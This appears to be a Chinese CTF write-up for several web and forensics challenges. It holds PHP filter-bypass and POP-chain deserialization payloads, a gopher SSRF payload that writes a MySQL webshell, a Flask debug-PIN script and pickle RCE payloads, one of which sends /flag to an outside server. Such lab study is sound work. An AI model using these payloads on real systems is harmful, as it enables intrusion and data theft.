%81^%FF=>~ %82^%FF=>} %83^%FF=>| %84^%FF=>{ %85^%FF=>z %86^%FF=>y %87^%FF=>x %88^%FF=>w %89^%FF=>v %8A^%FF=>u %8B^%FF=>t %8C^%FF=>s %8D^%FF=>r %8E^%FF=>q %8F^%FF=>p %90^%FF=>o %91^%FF=>n %92^%FF=>m %93^%FF=>l %94^%FF=>k %95^%FF=>j %96^%FF=>i %97^%FF=>h %98^%FF=>g %99^%FF=>f %9A^%FF=>e %9B^%FF=>d %9C^%FF=>c %9D^%FF=>b %9E^%FF=>a %9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^ %A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[ %A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X %A8^%FF=>W %A9^%FF=>V %AA^%FF=>U %AB^%FF=>T %AC^%FF=>S %AD^%FF=>R %AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O %B1^%FF=>N %B2^%FF=>M %B3^%FF=>L %B4^%FF=>K %B5^%FF=>J %B6^%FF=>I %B7^%FF=>H %B8^%FF=>G %B9^%FF=>F %BA^%FF=>E %BB^%FF=>D %BC^%FF=>C %BD^%FF=>B %BE^%FF=>A %BF^%FF=>@ %C0^%FF=>? http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%8F%97%8F%96%91%99%90)(); http://challenge.ilovectf.cn:30655/?c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%8F%97%8F%96%91%99%90)(); %8F%97%8F%96%91%99%90 http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%93%8C%DF%D0%C1%DF%92%92) system exec (~%9A%87%9A%9C)(~%93%8C); exec >a (~%9A%87%9A%9C)(~%C1%9E); echo (~%9A%9C%97%90)(~%C1%9E); `$_GET[c]` %9F%DB%A0%B8%BA%AB%A4%9C%A2%9F `$_GET[c]`; ~%9F%DB%A0%B8%BA%AB%A4%9C%A2%9F%C4 (~%9F%DB%A0%B8%BA%AB%A4%9C%A2%9F); (~%DB%A0%B8%BA%AB%A4%9C%A2); exec($_GET[c]) %9A%87%9A%9C%D7%DB%A0%B8%BA%AB%A4%9C%A2%D6 >a (~%C1%9E) echo %9A%9C%97%90 %C2%93%C2%8C%C3%9F%C3%92%C2%93%C2%9E https://cloud.tencent.com/developer/article/2288274 curl -X POST "http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=%DB%A0%AF%B0%AC%AB%A4%A0%A2" -d "_=readfile('flag.php');" %DB%A0%B8%BA%AB%A4%A0%A2 ?c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%8C%86%8C%8B%9A%92)(~%93%8C); system ls http://challenge.ilovectf.cn:30655/?0='phpinfo();'&c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%DB%A0%B8%BA%AB%A4%CF%A2)(); http://challenge.ilovectf.cn:30750/?c1n%5By0.u%20g3t%2Bfl%26g%3F=$_=~%8f%97%8c%8c%9a%92;$_(); eval($_GET['_']) ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo ${(~%A0%B8%BA%AB)}[%21]();&%21=phpinfo ${~%A0%B8%BA%AB}{_}();&_=phpinfo ${~%A0%B8%BA%AB}{_};&_=phpinfo(); ${~%A0%B8%BA%AB}{_};&_=phpinfo(); ${~%A0%B8%BA%AB}{_}(${~%A0%B8%BA%AB}{__});&_=system&__=ls ?_[0]=system&_[1]=ls%20-la ${~%A0%B8%BA%AB};&_[0]=system&_[1]=>a `{${~%A0%B8%BA%AB}[_]}`;&_=>a `${~%A0%B8%BA%AB}[_]`;&_=>a `{${~%A0%B8%BA%AB}[_]}`;&_=>a 16字符 _GET[_] %A0%B8%BA%AB%A4%A0%A2 `${~%A0%B8%BA%AB%A4%A0%A2}`;&_=>a $_GET[_] %DB%A0%B8%BA%AB%A4%A0%A2 `{~%DB%A0%B8%BA%AB%A4%A0%A2}`;&_=>a a=`${~%A0%B8%BA%AB[_]}`;&_=>a 16字符 `{$_GET[_]}`; ${~%A0%B8%BA%AB}[_];&_=>a ${${~%A0%B8%BA%AB}[_]};&_=>a `(~%C1%9E)` `~%9C%86`; `${_}`;&_=>a $_=`${_}`;&_=>a `$_GET[_]`&_=ls
[Week4] Path to Hero PHP反序列化POP链,最终需要利用Treasure 类里的 eval() 函数
unserialize() → Start::__wakeup() → Sword::__get() → Mon3tr::__toString() → Treasure::__call() → eval()
看不懂思密达,交给ai分析一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 原理与绕过 入口: 反序列化一个Start对象触发__wakeup。设置$ishero为包含"hero"但不等于"hero"的字符串即可进入利用链。 跳转到Sword: 在Start对象中,将$adventure属性设置为一个Sword对象。访问其不存在的sword属性,自动触发Sword的__get方法。 MD5绕过: 在Sword对象中,为满足md5($a) == md5($b)的弱类型比较,给$test1和$test2赋两个MD5哈希值以"0e"开头的不同字符串。 跳转到Mon3tr: 在Sword对象中,将$go属性设置为一个Mon3tr对象。echo该对象时,自动触发Mon3tr的__toString方法。 黑名单绕过与RCE: 在Mon3tr对象中,$end属性即为最终要执行的代码。为绕过preg_match对"flag"等关键字的检测,不能直接写readfile('/flag')。 Payload: 使用 readfile(glob("/*")[0]); 或 readfile(base64_decode('L2ZsYWc=')); 这样的方式构造命令,即可在不出现关键字的情况下读取/flag文件。 最终,将构造好的Start对象序列化后提交,即可触发整条链,成功执行代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php class Start { public $ishero ; public $adventure ; } class Sword { public $test1 ; public $test2 ; public $go ; } class Mon3tr { public $end ; } class Treasure { } $monster = new Mon3tr ();$monster ->end = "readfile(base64_decode('L2ZsYWc='));" ;$sword = new Sword ();$sword ->test1 = "s878926199a" ;$sword ->test2 = "s155964671a" ;$sword ->go = $monster ; $start = new Start ();$start ->ishero = "superhero" ; $start ->adventure = $sword ; $payload = serialize ($start );echo urlencode ($payload );?>
使用$monster->end = "print_r(scandir('/'));";可以列出/下的目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 </code><br>勇者啊,去寻找利刃吧<br>沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>到此为止了!魔王<br>结束了?<br>Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag [7] => home [8] => init.sh [9] => lib [10] => media [11] => mnt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var ) <br>
1 2 3 4 5 6 (base) ➜ php gen_payload.php O%3A5%3A%22Start%22%3A2%3A%7Bs%3A6%3A%22ishero%22%3Bs%3A9%3A%22superhero%22%3Bs%3A9%3A%22adventure%22%3BO%3A5%3A%22Sword%22%3A3%3A%7Bs%3A5%3A%22test1%22%3Bs%3A11%3A%22s878926199a%22%3Bs%3A5%3A%22test2%22%3Bs%3A11%3A%22s155964671a%22%3Bs%3A2%3A%22go%22%3BO%3A6%3A%22Mon3tr%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A36%3A%22readfile%28base64_decode%28%27L2ZsYWc%3D%27%29%29%3B%22%3B%7D%7D%7D% (base) ➜ curl -X POST -d "HERO=O%3A5%3A%22Start%22%3A2%3A%7Bs%3A6%3A%22ishero%22%3Bs%3A9%3A%22superhero%22%3Bs%3A9%3A%22adventure%22%3BO%3A5%3A%22Sword%22%3A3%3A%7Bs%3A5%3A%22test1%22%3Bs%3A11%3A%22s878926199a%22%3Bs%3A5%3A%22test2%22%3Bs%3A11%3A%22s155964671a%22%3Bs%3A2%3A%22go%22%3BO%3A6%3A%22Mon3tr%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A36%3A%22readfile%28base64_decode%28%27L2ZsYWc%3D%27%29%29%3B%22%3B%7D%7D%7D" http://challenge.ilovectf.cn:30147/index.php (省略html...) </code><br>勇者啊,去寻找利刃吧<br>沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>到此为止了!魔王<br>结束了?<br>flag{da7e7519-a83f-4e8a-86bc-751e44439d35}<br>%
[Week4] android or apple 施工区域⚠️
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 curl http://challenge.ilovectf.cn:30345/verify.php -H "X-VERIFY-CODE-URL: http://120.26.146.96" (base) ➜ ~ curl challenge.ilovectf.cn:30489/verify.php -H "X-VERIFY-CODE-URL: dict://120.26.146.96:80/helo:dict" <p>本次登录的验证码为:</p><img src="./images/2163fd445aa83a43ef4dc9b40097725a.bin" alt="Verification Code"/>% (base) ➜ ~ curl challenge.ilovectf.cn:30489/verify.php -H "X-VERIFY-CODE-URL: gopher://120.26.146.96:80/helo:gopher" <?php @eval($_GET['a']) ?> http://challenge.ilovectf.cn:30489/composer.json http://challenge.ilovectf.cn:30489/composer.lock [14:30:35] 200 - 8KB - /www.zip 他喵的这才是真的src http://challenge.ilovectf.cn:30489/images/a16928e3e14ede05b2eab5b54e67fb2f.bin (base) ➜ ~ curl challenge.ilovectf.cn:30489/verify.php \ -H "X-VERIFY-CODE-URL: gopher://127.0.0.1:3306" (base) ➜ ~ curl "http://challenge.ilovectf.cn:30489/images/181dd1f033da1992bfe13f1ba8f94510.bin" [ 5.7.42-0ubuntu0.18.04.1 ?c=@Ba ÿÿ ÿÁ ,XUi}1z;/5 mysql_native_password curl challenge.ilovectf.cn:30489/verify.php \ -H "X-VERIFY-CODE-URL: gopher://127.0.0.1:3306/_%a3%00%00%01%85%a2%1a%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%57%00%00%00%03%53%45%4c%45%43%54%20%27%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%39%38%38%32%32%5f%52%45%51%55%45%53%54%5b%27%63%6d%64%27%5d%29%3b%20%3f%3e%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%01%00%00%00%01" gopher://127.0.0.1:3306/_%a3%00%00%01%85%a2%1a%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%57%00%00%00%03%53%45%4c%45%43%54%20%27%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%39%38%38%32%32%5f%52%45%51%55%45%53%54%5b%27%63%6d%64%27%5d%29%3b%20%3f%3e%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%01%00%00%00%01
[Week4] 来getshell 速度! [Week4] 好像什么都能读 提示:不会告诉你可能要算些什么(bushi。
那么很明显,要算flask的debug pin了,读取以下文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 /home/ctf/app/app.py 成功:app.py 的内容 from flask import Flask, request, render_template app = Flask(__name__) @app.route('/') def hello_world(): return render_template('index.html') @app.route('/read') def read(): # 获取请求参数中的文件名 filename = request.args.get('filename') if not filename: return "需要提供文件名", 400 with open(filename, 'r') as file: content = file.read() return content, 200 if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=True) 运行用户 ctf 成功:/sys/class/net/eth0/address 的内容 26:c5:81:cb:dc:78 成功:/proc/sys/kernel/random/boot_id 的内容 89b34b88-6f33-4c4b-8a30-69a4ba41fd0e 成功:/proc/self/cgroup 的内容 0::/
用不知道哪个博客抄来的奇妙小脚本算出pin:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import hashlibfrom itertools import chaindef mac_10 (): """ /sys/class/net/eth0/address mac地址十进制 :return: """ mac_address = "26:c5:81:cb:dc:78" value = int (mac_address.replace(":" , "" ), 16 ) return str (value) probably_public_bits = [ 'ctf' 'flask.app' , 'Flask' , '/home/ctf/.local/lib/python3.13/site-packages/flask/app.py' ] machine_id = '' boot_id = '89b34b88-6f33-4c4b-8a30-69a4ba41fd0e' c_group = '0::/' id = '' if machine_id: id += machine_id.strip() else : id += boot_id.strip() id += c_group.strip().rpartition('/' )[2 ]private_bits = [ mac_10(), id ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode("utf-8" ) h.update(bit) h.update(b"cookiesalt" ) cookie_name = f"__wzd{h.hexdigest()[:20 ]} " num = None if num is None : h.update(b"pinsalt" ) num = f"{int (h.hexdigest(), 16 ):09d} " [:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = "-" .join( num[x: x + group_size].rjust(group_size, "0" ) for x in range (0 , len (num), group_size) ) break else : rv = num print (rv)
然后随便导致一个报错http://challenge.ilovectf.cn:30029/read?filename=a ,点击console按钮就可以啦,wait,为什么没有console按钮?!
这个其实我之前玩flask的时候就被坑过,当时在树莓派上部署flask,电脑根本打不开debug console,因为需要本地请求。(我看好多博客都没写啊,他们难道用的都是旧版本?)那么思路很清晰,就是修改请求头Host为127.0.0.1,但我搞了一上午😓,最后发现是路由器丢包,js没传过来,而且加载巨慢,一度怀疑是不是本地回环了💦。结果换成热点立马好了。。。也算长了点教训。
还有还有,一开始用Reqable添加 Header,导致实际上有两个Host,也坑了半天。。。
[Week4] 这又又是什么函数 没见过?搜一下!在/flag
提示/src,访问获得src:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from flask import Flask, request, render_templateimport pickleimport base64app = Flask(__name__) PICKLE_BLACKLIST = [ b'eval' , b'os' , b'x80' , b'before' , b'after' , ] @app.route('/' , methods=['GET' , 'POST' ] ) def index (): return render_template('index.html' ) @app.route('/src' , methods=['GET' , 'POST' ] ) def src (): return open (__file__, encoding="utf-8" ).read() @app.route('/deser' , methods=['GET' , 'POST' ] ) def deser (): a = request.form.get('a' ) if not a: return "fail" try : decoded_data = base64.b64decode(a) print (decoded_data) except : return "fail" for forbidden in PICKLE_BLACKLIST: if forbidden in decoded_data: return "waf" try : result = pickle.loads(decoded_data) return "done" except : return "fail" if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
考虑pickle反序列化
1 2 3 4 5 6 7 8 9 10 import pickleimport base64class Exploit : def __reduce__ (self ): return (__builtins__.open , ('/flag' ,)) payload = pickle.dumps(Exploit(), protocol=0 ) encoded = base64.b64encode(payload).decode() print (encoded)
curl -X POST http://challenge.ilovectf.cn:30051/deser -d 'a=PAYLOAD' 提示done,但没有回显,考虑通过vps外带
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport base64class Exploit : def __reduce__ (self ): code = "import urllib.request;urllib.request.urlopen('http://120.26.146.96/?flag='+open('/flag').read())" return (exec , (code,)) payload = pickle.dumps(Exploit(), protocol=0 ) encoded = base64.b64encode(payload).decode() print (encoded)
响应特别慢,然后返回fail,疑似无外网,timeout
尝试写入src末尾
1 2 3 4 5 6 7 8 9 10 11 12 13 import pickleimport base64class Exploit : def __reduce__ (self ): code = "open('/home/ctf/app/app.py','a').write('\\n# FLAG: '+open('/flag').read()+'\\n')" return (exec , (code,)) payload = pickle.dumps(Exploit(), protocol=0 ) encoded = base64.b64encode(payload).decode() print (encoded)
1 curl -X POST http://challenge.ilovectf.cn:30051/deser -d 'a=Y19fYnVpbHRpbl9fCmV4ZWMKcDAKKFZvcGVuKCcvaG9tZS9jdGYvYXBwL2FwcC5weScsJ2EnKS53cml0ZSgnXHUwMDVjbiMgRkxBRzogJytvcGVuKCcvZmxhZycpLnJlYWQoKSsnXHUwMDVjbicpCnAxCnRwMgpScDMKLg=='
哦吼!
home/ctf/app/app.py 是猜的,但之前的一直是这个路径。
[Week4] 布豪有黑客 Pro 这题没有按照标准解法来,首先进行了取证,PE删密码。按照题目信息去搜索。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 Info: 欢迎来到 ?CTF 2025 Pro Max!目前有 1 个题组。 Info: 初来乍到,输入 help 获取使用帮助。 NekoChecker [/] > show 0 Info: 题组: Forensics - 布豪有黑客 Pro (已完成 0/7) Info: [-] 0. 攻击者在Web服务中新增的用户名是什么 Info: [.] 格式:flag{username} 用到nacos的CVE-2021-29441,其实标准解法应该就是fscan扫出这个漏洞 flag{nacosuser} Info: [-] 1. 攻击者通过数据库获取的权限是什么 Info: [.] 格式:flag{whoami 命令的执行结果} 这个猜也能猜到 flag{nt service\mssqlserver} Info: [-] 2. 攻击者使用的提权工具md5值是什么 Info: [.] 格式:flag{md5(提权工具.exe)} (以CyberChef的32位小写md5为准) 混淆过的SweetPotato,在E:\apps\MicrosoftEdgeSetup.exe,其实右键属性就能看到原来的名字,cmd里运行一下也能知道。 flag{a1f2228e53dc42d454e67abe17947cfc} Info: [-] 3. 攻击者留下的系统后门用户用户名是什么 Info: [.] 格式:flag{username} 隐藏用户,我是PE里看的。 flag{C4ngH$} Info: [-] 4. 攻击者留下的木马本体的完整路径及文件名是什么 Info: [.] 格式:flag{C:\Windows\win.ini} (路径使用单个反斜杠) 并不是E:\apps\huorong_setup.exe,那是一个Go写的加载器,加载下面这个bin到内存实现免杀。 flag{E:\apps\WindowsBackup.bin} Info: [-] 5. 攻击者留下木马的回连IP和Port是什么 Info: [.] 格式:flag{IP:Port} 用netstat -ano,不要傻乎乎地去逆向💦 flag{117.72.220.129:15000} Info: [-] 6. 攻击者权限维持过程中留下的敏感信息是什么 Info: [.] 格式:flag{一段有语义的字符} muma的描述文本 flag{Th4t_1s_tru1y_brilli4nt}
其实可以看access_log获取思路,比如这个就提示了nacos的cve利用。
1 2 192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "POST /nacos/v1/auth/users?username=vizdhlitperkwrlq&password=aevuzojctjhffmpj HTTP/1.1" 200 63 94 Nacos-Server - 192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "DELETE /nacos/v1/auth/users?username=vizdhlitperkwrlq HTTP/1.1" 200 63 15 Nacos-Server -
这个就展示了mssql report server的漏洞,同样也是本题的解法之一。
1 2 3 192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "GET /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1" 404 431 0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 - 192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "GET /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1" 404 431 0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 - 192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "GET / HTTP/1.1" 404 431 0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 -
nacos方面,参考这篇文章,主要就是改ua为``:
1 https://www.cnblogs.com/haiyoyo/p/17151189.html
1 2 3 http://192.168.136.2:8848/nacos/v1/auth/users?pageNo=1&pageSize=100 {"totalCount" :2,"pageNumber" :1,"pagesAvailable" :1,"pageItems" :[{"username" :"nacos" ,"password" :"$2a$10$VjLkR9v3BvyQRxXVTvPh1ObfoQqfrK .YAWfKjRCSaJzUef5EgXOH2" },{"username" :"nacosuser" ,"password" :"$2a$10$rOADrelU2Iu /ef7iA2/rH.AbsfbMEfPJlsehoyxju4uNIc/JDXRnO" }]}
其实到这一步就可以了
登陆后也可以用发现的这个去连数据库。
1 2 3 4 5 6 7 8 ### Connect URL of DB: spring.datasource.platform=mssql db.url.0=jdbc:sqlserver://localhost:1433;DatabaseName=nacos;sendStringParametersAsUnicode=false db.user=sa db.password=M1sc@Admin db.pool.config.driverClassName=com.microsoft.sqlserver.jdbc.SQLServerDriver # SQL Server的测试查询语句 db.pool.config.connectionTestQuery=SELECT 1